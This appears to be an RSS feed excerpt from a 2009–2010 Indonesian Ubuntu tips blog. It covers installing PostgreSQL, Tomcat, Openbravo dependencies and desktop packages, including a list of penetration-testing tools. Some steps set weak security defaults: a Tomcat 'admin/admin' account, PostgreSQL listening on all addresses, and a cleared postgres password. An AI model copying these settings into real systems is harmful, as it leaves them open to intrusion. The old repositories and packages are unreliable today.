		<guid isPermaLink="false">http://www.masrony.com/?p=346</guid>
		<description><![CDATA[Setelah sekian lama make ubuntu ternyata baru tahu kalau ada software untuk membuat atau mengedit entri blog / live journal tanpa kita perlu masuk ke journal/blog kita, namanya Drivel. Journal yang disupport ternyata juga cukup lengkap dari mulai wordpress (pastinya   ), blogger, atom, livejournal, dan juga advogato. Post entry ini ditulis menggunakan drivel [...]]]></description>
			<content:encoded><![CDATA[<p>Setelah sekian lama make ubuntu ternyata baru tahu kalau ada software untuk membuat atau mengedit entri blog / live journal tanpa kita perlu masuk ke journal/blog kita, namanya <strong><em>Drivel</em></strong>. Journal yang disupport ternyata juga cukup lengkap dari mulai wordpress (pastinya <img src='http://www.masrony.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  ), blogger, atom, livejournal, dan juga advogato. Post entry ini ditulis menggunakan drivel sekaligus nyoba <img src='http://www.masrony.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Kalo berminat dan kebetulan seiman dengan saya (maksudnya sama-sama pake ubuntu) tinggal ketik :<br />
 $ sudo aptitude install drivel<br />
Dann.. happy blogging&#8230; </p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2010/02/21/drivel-a-journal-client-for-gnome-desktop/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Install DataBase PostgreSQL 8.4 di Ubuntu 9.10</title>
		<link>http://www.masrony.com/2009/11/22/install-database-postgresql-8-4-di-ubuntu-9-10/</link>
		<comments>http://www.masrony.com/2009/11/22/install-database-postgresql-8-4-di-ubuntu-9-10/#comments</comments>
		<pubDate>Sat, 21 Nov 2009 20:51:48 +0000</pubDate>
		<dc:creator>gophiel</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[PostgreSQL 8.4]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=320</guid>
		<description><![CDATA[
Untuk menginstall Database PostgreSQL di Ubuntu OS tidaklah sulit, apalagi ubuntu udah menyediakan package-packagenya. Mungkin yang perlu diperhatikan hanyalah langkah-langkahnya, berikut adalah langkah-langkah menginstall Databas PostgreSQL:

Langkah pertama adalah menginstall PostgreSQL Server disini saya menggunakan PostgreSQL Server 8.4, untuk mendapatkan packagenya bisa menggunakan Synaptic Package Manager

→ Quick Search with key “postgresql”
maka akan muncul nama-nama package yang [...]]]></description>
			<content:encoded><![CDATA[<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p style="margin-bottom: 0in">Untuk menginstall Database PostgreSQL di Ubuntu OS tidaklah sulit, apalagi ubuntu udah menyediakan package-packagenya. Mungkin yang perlu diperhatikan hanyalah langkah-langkahnya, berikut adalah langkah-langkah menginstall Databas PostgreSQL:</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p style="margin-bottom: 0in">Langkah pertama adalah menginstall PostgreSQL Server disini saya menggunakan PostgreSQL Server 8.4, untuk mendapatkan packagenya bisa menggunakan Synaptic Package Manager</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→ Quick Search with key “postgresql”</p></blockquote>
<p>maka akan muncul nama-nama package yang tersedia di ubuntu</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→ postgresql-server-dev-8.4</p></blockquote>
<p>pilih <em>mark for installation</em> lalu <em>Applay </em><span style="font-style: normal">maka secara otomatis proses installasi akan berjalan dengan sendirinya.</span></p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p style="margin-bottom: 0in">Langkah berikutnya adalah install PostgreSQL Client, PostgreSQL Contrib &amp; Install PgAdmin3, pada intalasi berikut bisa dilakukan melalui Synaptic atau langsung melalui <span id="more-320"></span>command seperti berikut:</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→ $ sudo apt-get install postgresql postgresql-client postgresql-contrib</p>
<p>→ $ sudo apt-get install pgadmin3</p></blockquote>
<p style="margin-left: 0.57in;text-indent: -0.3in;margin-bottom: 0in">ket: Baris pertama untuk menginstall paket postgresql dan paket-paket yang lain yang dibutuhkan, sedangkan dibaris berikutnya menginstall pgadmin yaitu Graphical User Interface untuk PostgreSQL Admin.</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p style="margin-bottom: 0in">Setelah proses instalasi berhasil, yang perlu diperhatikan adalah melakukan reset password postgres (account administrator). Ketik perintah berikut dalam command:</p>
<p><!-- 		@page { margin: 0.20in } 		P { margin-bottom: 0.03in } --></p>
<blockquote><p>→ $ sudo su postgres -c psql</p>
<p>→ postgres=# ALTER USER postgres WITH PASSWORD &#8216;passwordku&#8217;;</p>
<p>→ postgres=# \q</p></blockquote>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->perintah tersebut akan merubah password postgres menjadi passwordku, dan sekarang waktunya menyamakan password unix untuk user postgres.</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→ $ sudo passwd -d postgres</p>
<p>→ $ sudo su postgres -c passwd</p></blockquote>
<p>masukkan password yang sama dengan tadi, dalam hal ini passwordku(minimal 6 Digit). Setelah itu agar pgAdmin bisa masuk ke database server menggunakan user postgres, kita harus men set-up PostgreSQL admin pack. caranya jalankan perintah berikut dalam command line</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→$ sudo su postgres -c psql &lt; /usr/share/postgresql/8.4/contrib/adminpack.sql</p></blockquote>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Kemudia atur konfigurasi postgresql.conf</p>
<blockquote><p>→ $ sudo gedit /etc/postgresql/8.4/main/postgresql.conf</p></blockquote>
<p>ganti baris berikut:</p>
<p>#listen_addresses = ‘localhost’</p>
<p>menjadi</p>
<p>listen_addresses = ‘*’</p>
<p>dan juga baris :</p>
<p>#password_encryption = on</p>
<p>menjadi</p>
<p>password_encryption = on</p>
<p>Simpan dan tutup gedit.</p>
<p>Langkah terakhir adalah menentukan siapa saja yang berhak masuk ke dalam server dengan mengedit file pg_hba.con</p>
<blockquote><p>$ sudo gedit /etc/postgresql/8.4/main/pg_hba.conf</p></blockquote>
<p>pastikan isi file seperti berikut</p>
<blockquote><p># DO NOT DISABLE!</p>
<p># If you change this first entry you will need to make sure that the</p>
<p># database</p>
<p># super user can access the database using some other method.</p>
<p># Noninteractive</p>
<p># access to all databases is required during automatic maintenance</p>
<p># (autovacuum, daily cronjob, replication, and similar tasks).</p>
<p>#</p>
<p># Database administrative login by UNIX sockets</p>
<p>local all postgres ident sameuser</p>
<p># TYPE DATABASE USER CIDR-ADDRESS METHOD</p></blockquote>
<blockquote><p># “local” is for Unix domain socket connections only</p>
<p>local all all md5</p>
<p># IPv4 local connections:</p>
<p>host all all 127.0.0.1/32 md5</p>
<p># IPv6 local connections:</p>
<p>host all all ::1/128 md5</p></blockquote>
<blockquote><p># Connections for all PCs on the subnet</p>
<p>#</p>
<p># TYPE DATABASE USER IP-ADDRESS IP-MASK METHOD</p>
<p>host all all [ip address] [subnet mask] md5</p></blockquote>
<p>Ganti [ip address] denga alamat ip dari komputer yang diperbolehkan masuk ke dalam server database, seperti 192.168.1.5 dan [subnet mask] dengan subnet jaringan kita. Jika ingin yang terkoneksi dari semua ip yang ada dalam subnet, anda bisa memberi ip address dengan subnet address seperti 192.168.1.0 maka semua ip 192.168.1.x</p>
<p>dan langkah yang terakhir adalah merestart Server PostgreSQL dengan perintah:</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→ $ sudo /etc/init.d/postgresql-8.4 restart</p></blockquote>
<p>Selesai sudah, Semoga bermanfaat.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/11/22/install-database-postgresql-8-4-di-ubuntu-9-10/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>First Time Install Ubuntu</title>
		<link>http://www.masrony.com/2009/11/11/first-time-install-ubuntu/</link>
		<comments>http://www.masrony.com/2009/11/11/first-time-install-ubuntu/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 04:12:22 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[install ubuntu]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=273</guid>
		<description><![CDATA[Apa yang anda lakukan ketika pertama kali melakukan fresh install ubuntu ?
Setelah melakukan update ke repository terdekat biasanya ada beberapa package yang perlu diinstall untuk kenyamanan kita menggunakan ubuntu, diantaranya :
1. Ubuntu extras

 $ sudo aptitude install sudo aptitude install ubuntu-restricted-extras build-essential gwget xchat python-glade2 usb-imagewriter pidgin mozilla-thunderbird filezilla wine youtube-dl httrack webhttrack xchm

2. Software [...]]]></description>
			<content:encoded><![CDATA[<p>Apa yang anda lakukan ketika pertama kali melakukan fresh install ubuntu ?<br />
Setelah melakukan update ke repository terdekat biasanya ada beberapa package yang perlu diinstall untuk kenyamanan kita menggunakan ubuntu, diantaranya :<br />
1. Ubuntu extras</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install sudo aptitude install ubuntu-restricted-extras build-essential gwget xchat python-glade2 usb-imagewriter pidgin mozilla-thunderbird filezilla wine youtube-dl httrack webhttrack xchm</pre>
</div>
<p>2. Software Packager</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install unace rar unrar zip unzip p7zip-full p7zip-rar sharutils aish uudeview mpack lha arj cabextract file-roller</pre>
</div>
<p>3. More fonts</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install msttcorefonts ttf-larabie-straight ttf-larabie-deco xfonts-terminus-dos xfonts-terminus xfonts-terminus-oblique xfonts-mona ttf-farsiweb ttf-opensymbol ttf-freefont ttf-dustin ttf-devanagari-fonts ttf-dejavu-extra ttf-dejavu-core ttf-dejavu ttf-bpg-georgian-fonts ttf-alee</pre>
</div>
<p><span id="more-273"></span>4. Multimedia</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install vlc audacious mpeg2dec a52dec mpg321 mpg123 libswfdec0.3 libflac++6 ffmpeg cdda2wav libmp4v2-0 libmjpegtools0c2a tagtool easytag id3tool lame lame-extras nautilus-script-audio-convert libmad0 libjpeg-progs libmpcdec3 libquicktime1 flac faac faad sox toolame a52dec ffmpeg2theora libmpeg2-4 uudeview flac libmpeg3-1 mpeg3-utils mpegdemux imagemagick</pre>
</div>
<p>Tips pake image magick sekali tebang bisa edit banyak foto :<br />
resize by lebar photo :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ for k in $(ls *.JPG); do convert $k -resize 1024 -quality 90 $k; done</pre>
<p>kalo resize by tinggi photo :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ for k in $(ls *.JPG); do convert $k -resize x768 -quality 90 $k; done</pre>
<p>dah&#8230; tips ini berguna waktu edit foto2 lawas yang udah bergiga2 di HD Ext, so sekali jalan.. wuss&#8230;. bisa hemat space smp 2gb. Mayan tooohh&#8230;.</p>
<p>5. Flash</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo aptitude install gsfonts gsfonts-x11 flashplugin-nonfree</pre>
<p>6. Java</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install sun-java6-bin sun-java6-fonts sun-java6-jdk sun-java6-plugin</pre>
</div>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo update-alternatives --config java</pre>
<p>7. IDE for Java and Python</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre> $ sudo aptitude install netbeans eclipse spe vim</pre>
</div>
<p>8. Virtual Box<br />
Apabila ingin menambah package virtual box, tambahkan repository di /etc/apt/source.list (kebetulan saya menggunakan ubuntu karmic koala, apabila anda menggunakan versi lain silahkan disesuaikan) :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># Virtual Box
deb http://www.virtualbox.org/debian karmic non-free</pre>
</div>
<p>Kemudian masukkan public key dari domain tersebut :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ wget -q http://download.virtualbox.org/virtualbox/debian/sun_vbox.asc -O- | sudo apt-key add -</pre>
</div>
<p>Update source list :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo aptitude update</pre>
<p>Install Virtual Box :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo aptitude install virtualbox-3.0 dkms bridge-utils</pre>
<p>Note : setting virtual network vbox di ubuntu supaya bisa konek ke network lokal maupun internet disarankan menggunakan adapter type : Intel PRO 1000 MT (Desktop) dan attached to : NAT</p>
<p>9. Google Chrome / Chromium &#8211; web browser<br />
Tambahkan list repository di /etc/apt/source.list dengan :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">deb http://ppa.launchpad.net/chromium-daily/ppa/ubuntu karmic main
deb-src http://ppa.launchpad.net/chromium-daily/ppa/ubuntu karmic main</pre>
<p>Tambahkan GPG key :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0xfbef0d696de1c72ba5a835fe5a9bf3bb4e5e17b5</pre>
</div>
<p>Update source list :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo aptitude update</pre>
<p>Install google chrome :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo aptitude install chromium-browser</pre>
<p>10. Open Project &#8211; Project Management Tools<br />
Download open project dari sourceforge di :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> http://sourceforge.net/projects/openproj/files/OpenProj%20Binaries/1.4/openproj_1.4-2.deb/download</pre>
</div>
<p>Abis itu?? ya langsung double click aja&#8230; nda usah pake console2an <img src='http://www.masrony.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
11. Penetration testing, incident response, and computer forensics</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install kismet aircrack-ng wireshark nmap dsniff autopsy nikto ophcrack aterm nessusd nessus nessus-plugins</pre>
</div>
<p>Package aterm (xterm emulator) dibuat supaya aplikasi-aplikasi berbasis cli (command line interface) dapat dibuat executable dari pulldown menu ubuntu.<br />
Buat satu file /usr/bin/spy-term :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo vim /usr/bin/spy-term</pre>
<p>Masukkan baris berikut :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre>#!/bin/sh
/usr/bin/aterm -tint yellow -tr -trsb -sh 10 -cr green +sb -sl 1000 -title "Autopsy Shell" -fg White -e /usr/bin/autopsy</pre>
</div>
<p>Setelah filenya disimpan, buat file tersebut executable :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo chmod +x /usr/bin/psy-term</pre>
<p>Buat satu menu tersendiri dari menu <strong>S</strong>ystem -&gt; <strong>P</strong>references -&gt; <strong>M</strong>ain Menu, dan buatlah shortcut menu dengan memilih Application dan memanggil /usr/bin/psy-term. Selamat mencoba dan berkreasi&#8230;<br />
Apabila ingin menambah dengan metasploit, silahkan dilihat <a href="http://www.masrony.com/tag/metasploit/">disini</a><br />
Untuk instalasi Apache web server beserta databasenya (MySQL) juga sudah pernah saya tulis, silahkan dilihat <a href="http://www.masrony.com/2009/03/21/simple-wordpress-installation/">disini</a><br />
Ada yang ingin menambahkan??</p>
<p><strong><em>Update 19 Februari 2010 :</em></strong><br />
Beberapa waktu yang lalu ada pertanyaan dari teman, gimana supaya linux (baca: ubuntu) bisa disandingkan dengan media center-nya microsoft. It&#8217;s easy step i guess :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">  $ sudo add-apt-repository ppa:team-xbmc
  $ sudo apt-get update
  $ sudo apt-get install xbmc xbmc-standalone
  $ sudo apt-get update</pre>
<p>Apabila muncul error &#8220;E: Broken package&#8221; pada saat instalasi, aktifkan menu <em>&#8220;Community-maintained open Source software (universe)&#8221;</em> dan <em>&#8220;Software restricted by copyright or legal issues (multiverse)&#8221;</em> dari menu <em><strong>S</strong></em><em>ystem</em> &#8211;&gt; <em><strong>A</strong></em><em>dministration</em> &#8211;&gt; <em><strong>S</strong></em><em>oftware Sources</em>.<br />
Nah silahkan direview hasilnya karena saya sendiri belum kelar coba-coba xbmc tersebut.. cayoo <img src='http://www.masrony.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/11/11/first-time-install-ubuntu/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Install Openbravo ERP di Ubuntu Jaunty</title>
		<link>http://www.masrony.com/2009/06/24/install-openbravo-erp-di-ubuntu-jaunty/</link>
		<comments>http://www.masrony.com/2009/06/24/install-openbravo-erp-di-ubuntu-jaunty/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 13:39:35 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[crm]]></category>
		<category><![CDATA[erp]]></category>
		<category><![CDATA[install openbravo]]></category>
		<category><![CDATA[openbravo]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=265</guid>
		<description><![CDATA[Langkah-langkah instalasi Openbravo ERP dan dependensinya di Ubuntu. Langkah instalasi ini diinstall di environment Jaunty desktop dan disarankan menggunakan memory 1GB.
a. PostgreSQL
- Install paket postgreSQL :
$ sudo aptitude install postgresql-8.3 postgresql-contrib-8.3
- Ubah password root postgresql :
$ sudo su &#8211; postgres -c psql
postgres=# alter role postgres with password &#8216;new_password&#8217;;
postgres=# \q
b. Sun Java (JDK)
- Install paket instalasi [...]]]></description>
			<content:encoded><![CDATA[<p>Langkah-langkah instalasi Openbravo ERP dan dependensinya di Ubuntu. Langkah instalasi ini diinstall di environment Jaunty desktop dan disarankan menggunakan memory 1GB.<br />
a. PostgreSQL<br />
- Install paket postgreSQL :<br />
$ sudo aptitude install postgresql-8.3 postgresql-contrib-8.3<br />
- Ubah password root postgresql :<br />
$ sudo su &#8211; postgres -c psql<br />
postgres=# alter role postgres with password &#8216;new_password&#8217;;<br />
postgres=# \q</p>
<p>b. Sun Java (JDK)<br />
- Install paket instalasi java JDK:<br />
$ sudo aptitude install sun-java6-jdk<br />
- Set Sun Java JDK sebagai default JDK:<br />
$ sudo update-java-alternatives -s java-6-sun<br />
- Buat variable JAVA_HOME:<br />
$ sudo echo &#8216;JAVA_HOME=&#8221;/usr/lib/jvm/java-6-sun&#8221;&#8216; | sudo tee -a /etc/environment<br />
- Supaya variabel ini bisa langsung digunakan tulis :<br />
$ source /etc/environment<br />
<span id="more-265"></span><br />
c. Apache-tomcat<br />
- Install paket apache tomcat :<br />
$ sudo aptitude install tomcat6 tomcat6-admin<br />
- Cek port running tomcat. Apabila apache webserver sudah terinstall di port 80, biasanya tomcat akan running di port 8080, untuk memastikan dari firefox, buka http://localhost:8080 atau menggunakan tools nmap :<br />
$ sudo nmap -v -sS -A localhost<br />
- Set variabel CATALINA_HOME dan CATALINA_BASE :<br />
$ sudo echo &#8216;CATALINA_HOME=&#8221;/usr/share/tomcat6&#8243;&#8216; | sudo tee -a /etc/environment<br />
$ sudo echo &#8216;CATALINA_BASE=&#8221;/var/lib/tomcat6&#8243;&#8216; | sudo tee -a /etc/environment<br />
- Edit file /etc/default/tomcat6, dan tambahkan baris dibawah :<br />
JAVA_OPTS=&#8221;-Djava.awt.headless=true -Xms384M -Xmx512M -XX:MaxPermSize=256M&#8221;<br />
- Kopi tools.jar dari java class path :<br />
$ sudo cp $JAVA_HOME/lib/tools.jar /var/lib/tomcat6/lib/<br />
- Buat user manager dan account manager tomcat di /etc/tomcat6/tomcat-users.xml :<br />
<script>< ?xml version='1.0' encoding='utf-8'?>
    <tomcat -users>
      <role rolename="manager"/>
      <role rolename="admin"/>
      <user username="admin" password="admin" roles="admin,manager"/>
    </tomcat></script></p>
<p>d. Apache Ant<br />
- Install Apache Ant :<br />
$ sudo aptitude install ant ant-optional<br />
- Set home variable apache ant :<br />
$ sudo echo &#8216;ANT_HOME=&#8221;/usr/share/ant&#8221;&#8216; | sudo tee -a /etc/environment<br />
- Set variable ant_opts (32bit):<br />
$ sudo echo &#8216;ANT_OPTS=&#8221;-Xmx1024M&#8221;&#8216; | sudo tee -a /etc/environment<br />
- Apabila menggunakan 64bits bisa menggunakan perintah ini :<br />
$ sudo echo &#8216;ANT_OPTS=&#8221;-Xmx1024M -XX:MaxPermSize=128M&#8221;&#8216; | sudo tee -a /etc/environment<br />
&#8212;- Sebenarnya dah selesai tinggal install openbravo-nya, tapi lagi males banget untuk nulis.. hehehe&#8230;<br />
ntar aja update lagi deh&#8230;..</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/06/24/install-openbravo-erp-di-ubuntu-jaunty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Init level, boot order and root access ubuntu</title>
		<link>http://www.masrony.com/2009/05/26/init-level-boot-order-and-root-access-ubuntu/</link>
		<comments>http://www.masrony.com/2009/05/26/init-level-boot-order-and-root-access-ubuntu/#comments</comments>
		<pubDate>Mon, 25 May 2009 17:43:29 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[ubuntu tips]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=256</guid>
		<description><![CDATA[Untuk mengubah boot order di ubuntu, open file /boot/grub/menu.lst dan pada bagian default, ganti angka disitu dengan urutan boot menunya.
Untuk mengubah run init level di linux biasanya tinggal mengubah init default di file /etc/inittab dan disesuaikan dengan run level yang diinginkan. Tapi di ubuntu agak berbeda, karena ubuntu berjalan di init level 2 dan semuanya [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Untuk mengubah boot order di ubuntu, open file /boot/grub/menu.lst dan pada bagian default, ganti angka disitu dengan urutan boot menunya.<br />
Untuk mengubah run init level di linux biasanya tinggal mengubah init default di file /etc/inittab dan disesuaikan dengan run level yang diinginkan. Tapi di ubuntu agak berbeda, karena ubuntu berjalan di init level 2 dan semuanya berjalan di xwindow. Apabila menginginkan booting manual ke console (init level 3), buat file /etc/inittab (di jaunty server tidak ada file ini) dan tambahkan dengan :</p>
<ul style="text-align: justify;"> id:3:initdefault:</ul>
</p>
<p style="text-align: justify;">Kemudian pindahkan atau rename file /etc/rc3.d/S*0gdm. Kemudian restart&#8230;.<br />
Root access di ubuntu by default dilock, untuk aktifinnya (hanya apabila diperlukan saja) :</p>
<ul style="text-align: justify;"> $ sudo bash</ul>
</p>
<p style="text-align: justify;">atau :</p>
<ul style="text-align: justify;"> $ sudo su</ul>
<p style="text-align: justify;">kemudian ganti password dengan password yang diinginkan :</p>
<ul style="text-align: justify;"> # passwd root</ul>
<p style="text-align: justify;">Root udah aktif..<br />
Dan untuk menonaktifkan lagi root access apabila tidak diperlukan :</p>
<ul style="text-align: justify;">
$ sudo passwd -l root
</ul>
</p>
<p><b>Permission file </b></p>
<pre>
user		group	world
r+w+x	  r+x	  r+x
4+2+1	4+0+1	4+0+1  = 755
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/05/26/init-level-boot-order-and-root-access-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finally&#8230; Ubuntu 9.04 Jaunty Jackalope Muncul Juga</title>
		<link>http://www.masrony.com/2009/04/24/finally-ubuntu-904-jaunty-jackalope-muncul-juga/</link>
		<comments>http://www.masrony.com/2009/04/24/finally-ubuntu-904-jaunty-jackalope-muncul-juga/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 17:27:12 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[jaunty jackalope release]]></category>
		<category><![CDATA[ubunt 9.04 jaunty jackalope]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=223</guid>
		<description><![CDATA[Setelah nunggu sepagian nggak nongol-nongol, akhirnya release resmi Ubuntu 9.04 dengan code name Jaunty Jackalope diumumkan. Release ini sesuai dengan janji pihak Ubuntu yang akan mengeluarkan release terbaru setiap 6 bulan sekali. Ya tepatnya hari ini tanggal 23 April 2009, tentunya waktu US sono, bukan Indonesia hehehe. Tentunya bagi para ubuntuer, ini adalah saat-saat yang [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><!-- .command { padding: 1em; border: 1px dashed #2f6fab; color: black; background-color: #f9f9f9; line-height: 1.1em; font-family: Courier New, Courier, mono; font-size: 12px; font-style: italic; } .system { color: black; font-family: Courier New, Courier, mono; font-size: 12px; font-style: italic; } .highlight { color: #FF0000; font-family: Georgia, "Times New Roman", Times, serif; font-size: 12px; text-decoration: underline; } -->Setelah nunggu sepagian nggak nongol-nongol, akhirnya release resmi Ubuntu 9.04 dengan code name <em>Jaunty Jackalope</em> diumumkan. Release ini sesuai dengan janji pihak Ubuntu yang akan mengeluarkan release terbaru setiap 6 bulan sekali. Ya tepatnya hari ini tanggal 23 April 2009, tentunya waktu US sono, bukan Indonesia hehehe. Tentunya bagi para ubuntuer, ini adalah saat-saat yang ditunggu-tunggu apalagi release ini menjanjikan banyak perubahan. Untuk change log release Jaunty Jackalope ini bisa dilihat di official website Ubuntu <a title="Jaunty Jackalope's Change Logs" href="https://lists.ubuntu.com/archives/jaunty-changes/" target="_blank">disini</a>.<br />
Saya pribadi sebenarnya ndak nunggu download iso-nya glondongan, cukup pengen upgrade aja dari intrepid ke jaunty, tapi nunggu sampai ready di <em>repository</em> lokal telkom aja. Biar ndak kroyokan download/upgrade apalagi secara bandwidth disini juga pas-pasan.<br />
Setelah ngecek berkali-kali, akhirnya release yang ditunggu keluar juga <img src='http://www.masrony.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Yukz langsung upgrade aja. Terserah mau pake cara yang mana. Kalau mau pake update manager :</p>
<ul style="text-align: justify;">$ update-manager -d</ul>
</p>
<p style="text-align: justify;">Sampai muncul gambar seperti dibawah ini :</p>
<p style="text-align: center;"><img class="aligncenter" title="Ubuntu Update Manager" src="http://i184.photobucket.com/albums/x99/ronevic/Blog/ubuntu904-upd-mgr.png" alt="" width="241" height="320" /></p>
<p><span id="more-223"></span></p>
<p style="text-align: justify;">Nah tuh kan.. muncul New distribution release &#8216;9.04&#8242; is avaliable. Tekan Upgrade dan ikuti wizard instalasinya sampai selesai.<br />
Cara yang lain dengan melakukan editing file sources.list di /etc/apt. Dengan menggunakan editor, ganti kata &#8220;intrepid&#8221; dengan &#8220;jaunty&#8221;, kemudian simpan, dan jalankan perintah berikut :</p>
<ul style="text-align: justify;">$ sudo aptitude update &amp;&amp; sudo aptitude full-upgrade &amp;&amp; sudo aptitude purge</ul>
</p>
<p style="text-align: justify;">Tinggal nunggu proses selesai aja.<br />
Kalo instalasi udah selesai, bisa kita liat release ubuntu kita yang baru :</p>
<ul style="text-align: justify;">$ sudo lsb_release -a</p>
<div style="margin: 10px auto; border: 1; background: #cccccc none repeat scroll 0% 0%;">
<pre>Distributor ID:	Ubuntu
Description:	Ubuntu 9.04
Release:	9.04
Codename:	jaunty</pre>
</div>
</ul>
<p style="text-align: justify;">Cayooo.. ayo dites menu-menunya nyookk&#8230;. sambil nunggu event JRE&#8230; sapa tau dapat door prizenya <img src='http://www.masrony.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/04/24/finally-ubuntu-904-jaunty-jackalope-muncul-juga/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Upgrade Oracle 10.2.0.1 ke 10.2.0.4 di Windows</title>
		<link>http://www.masrony.com/2009/04/06/upgrade-oracle-10201-ke-10204-di-windows/</link>
		<comments>http://www.masrony.com/2009/04/06/upgrade-oracle-10201-ke-10204-di-windows/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 10:09:27 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[oracle 10g]]></category>
		<category><![CDATA[oracle patch]]></category>
		<category><![CDATA[oracle update]]></category>
		<category><![CDATA[oracle upgrade]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=213</guid>
